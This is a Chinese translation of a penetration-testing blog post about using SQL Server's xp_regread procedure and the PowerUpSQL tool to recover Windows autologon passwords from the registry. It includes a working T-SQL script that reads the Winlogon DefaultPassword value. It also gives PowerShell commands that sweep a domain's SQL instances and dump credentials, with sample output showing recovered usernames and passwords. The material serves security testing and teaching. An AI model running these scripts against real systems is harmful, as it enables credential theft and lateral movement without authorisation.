专家教你如何在SQL Server中通过PowerUpSQL获得Windows自动登录密码

译文
安全 数据安全 应用安全 SQL Server
本文中,笔者将展示如何使用PowerUpSQL通过SQL Serverd导出Windows自动登录密码。我也来谈谈xp_regread存储过程中的其他利用方式也可在渗透测试中使用。

【51CTO.com快译】在这篇博客中,我将展示如何使用PowerUpSQL通过SQL Serverd导出Windows自动登录密码。我也来谈谈xp_regread存储过程中的其他利用方式也可在渗透测试中使用。

[[172950]]

xp_regread简史

从SQL Server 2000后xp_regread扩展存储过程一直被使用,因为其原始版本允许以公共服务器角色的成员访问SQL Server服务帐户权限的几乎任何东西的。当时,它有一个非常大的影响,因为SQL Server以LocalSystem权限运行是常见的(译者注:很容易被提权)。自从SQL Server 2000 SP4发布之后,由于添加了一些访问控制,这有助于防止低权限的登录访问敏感的注册表位置,xp_regread的影响已经相当小,现在,未经授权的用户访问唯一的注册表位置都与SQLServer相关。对于您可以访问这些位置的列表https://support.microsoft.com/en-us/kb/887165

下面是更有趣的访问路径中的几个:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Messaging Subsystem
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\SQLServer
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServer
HKEY_CURRENT_USER\Software\Microsoft\Mail HKEY_CURRENT_USER\Control Panel\International

xp_regread公共角色的实际用途

即使是我们的双手被捆绑,xp_regread也可以用来获取不少有用的信息。事实上,作为***权限登录时,我经常用它来抓取其它地方无法获取的服务器信息。例如,在PowerUpSQL中的Get-SQLServerInfo功能包括一些这些查询:

  1. PS C:\> Get-SQLServerInfo 
  2. ComputerName           : SQLServer1 
  3. Instance               : SQLServer1 
  4. DomainName             : demo.local 
  5. ServiceName            : MSSQLSERVER 
  6. ServiceAccount         : NT Service\MSSQLSERVER 
  7. AuthenticationMode     : Windows and SQL Server Authentication 
  8. Clustered              : No 
  9. SQLServerVersionNumber : 12.0.4213.0 
  10. SQLServerMajorVersion  : 2014 
  11. SQLServerEdition       : Developer Edition (64-bit
  12. SQLServerServicePack   : SP1 
  13. OSArchitecture         : X64 
  14. OsMachineType          : WinNT 
  15. OSVersionName          : Windows 8.1 Pro 
  16. OsVersionNumber        : 6.3 
  17. Currentlogin           : demo\user 
  18. IsSysadmin             : Yes 
  19. ActiveSessions         : 3 
 

在SQL Server SP4中实现的访问控制限制并不适用于系统管理员。其结果是,任何SQL Server服务账户可以在注册表访问,一个系统管理员可以通过xp_regread访问。乍一看,这似乎不是什么大不了的事,但它确实让我们从注册表中的敏感数据,而不必使用xp_cmdshell存储过程,启用和使用xp_cmdshel会触发大量的告警。所以xp_regread实际上最终被用于基本的SQL Server开发任务后。

使用xp_regread恢复Windows自动登录凭据

配置Windows在计算机启动时自动登录这是可以实现的,虽然这不是在企业环境中的常见配置,这是我们在零售环境中经常看到的东西。特别是那些支持传统的POS终端和信息亭使用SQL服务器本地运行。在大多数情况下,当Windows配置为自动登录,加密的凭据存储在注册表项:

HKEY_LOCAL_MACHINE SOFTWARE \Microsoft\Windows NT\CURRENTVERSION \Winlogon

利用这些信息,我们可以编写使用一个基本的TSQL脚本,通过xp_regread获取注册表的自动登录凭据,而无需使xp_cmdshell启用。下面就是一个TSQL脚本例子,但由于注册表路径不在允许列表上,我们必须作为一个系统管理员运行查询:

  1. ------------------------------------------------------------------------- 
  2. -- Get Windows Auto Login Credentials from the Registry 
  3. ------------------------------------------------------------------------- 
  4. -- Get AutoLogin Default Domain 
  5. DECLARE @AutoLoginDomain  SYSNAME 
  6. EXECUTE master.dbo.xp_regread 
  7. @rootkey        = N'HKEY_LOCAL_MACHINE'
  8. @key            = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
  9. @value_name     = N'DefaultDomainName'
  10. @value          = @AutoLoginDomain output 
  11. -- Get AutoLogin DefaultUsername 
  12. DECLARE @AutoLoginUser  SYSNAME 
  13. EXECUTE master.dbo.xp_regread 
  14. @rootkey        = N'HKEY_LOCAL_MACHINE'
  15. @key            = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
  16. @value_name     = N'DefaultUserName'
  17. @value          = @AutoLoginUser output 
  18. -- Get AutoLogin DefaultUsername 
  19. DECLARE @AutoLoginPassword  SYSNAME 
  20. EXECUTE master.dbo.xp_regread 
  21. @rootkey        = N'HKEY_LOCAL_MACHINE'
  22. @key            = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
  23. @value_name     = N'DefaultPassword'
  24. @value          = @AutoLoginPassword output  
  25. -- Display Results 
  26. SELECT @AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword 

我已经创建了一个名为“Get-SQLRecoverPwAutoLogon”的PowerUpSQL函数,所以你可以直接运行它。它将获取默认的Windows自动登录信息和曾经设置过的Windows自动登录信息。然后,它返回相关的域名、用户名和密码。

下面是那些感兴趣的一个命令示例。如果您对渗透隐蔽的SQL Server目标有兴趣,你可以挖掘这个博客(https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/):

  1. PS C:\> $Accessible = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 15| Where-Object {$_.Status –eq “Accessible”} 
  2. PS C:\> $Accessible | Get-SQLRecoverPwAutoLogon -Verbose 
  3. VERBOSE: SQLServer1.demo.local\Instance1 : Connection Success. 
  4. VERBOSE: SQLServer2.demo.local\Application : Connection Success. 
  5. VERBOSE: SQLServer2.demo.local\Application : This function requires sysadmin privileges. Done. 
  6. VERBOSE: SQLServer3.demo.local\2014 : Connection Success. 
  7. VERBOSE: SQLServer3.demo.local\2014 : This function requires sysadmin privileges. Done. 
  8. ComputerName : SQLServer1 
  9. Instance     : SQLServer1\Instance1 
  10. Domain       : demo.local 
  11. UserName     : KioskAdmin 
  12. Password     : test 
  13. ComputerName : SQLServer1 
  14. Instance     : SQLServer1\Instance1 
  15. Domain       : demo.local 
  16. UserName     : kioskuser 
  17. Password     : KioskUserPassword! 

总结

即使xp_regread扩展存储过程已部分阉割,仍有许多方式,它可以被证明是有用的渗透测试和红队交战中。希望你能用“sqlserverinfo”、“sqlrecoverpwautologon”函数构建它的能力,更多注册表的乐趣将陆续提供,在此期间,祝你好运,并负责任!

参考文章:

https://support.microsoft.com/en-us/kb/887165

https://msdn.microsoft.com/en-us/library/aa940179(v=winembedded.5).aspx

http://sqlmag.com/t-sql/using-t-sql-manipulate-registry

原文标题:Get Windows Auto Login Passwords via SQL Server with PowerUpSQL      作者:Scott Sutherland

【51CTO译稿,合作站点转载请注明原文译者和出处为51CTO.com】

免责声明:本站提供文章仅供安全研究与教学之用,风险自负!

责任编辑:蓝雨泪 来源: 51CTO.com
相关推荐

2017-02-23 11:00:35

2012-11-12 10:48:36

2010-06-11 12:47:34

UML视图

2010-07-14 14:30:13

2010-09-15 13:45:01

2017-03-10 08:35:49

数字化

2018-07-19 05:13:38

2021-12-01 08:19:12

SQL Server 数据库Microsoft

2010-08-05 09:02:49

2009-12-21 09:52:03

2009-12-30 10:41:29

ISDN拨号

2009-12-29 13:46:06

2010-07-09 10:37:00

视频服务器DIY

2011-06-09 09:59:16

2010-07-14 13:56:10

SQL Server

2011-03-02 17:41:28

2011-03-18 09:48:32

2019-11-15 16:20:35

Windows 10自动重启Windows

2015-06-04 10:43:54

OpenStack 环最小化

2009-07-02 12:30:00

标识值SQL Server
点赞
收藏

51CTO技术栈公众号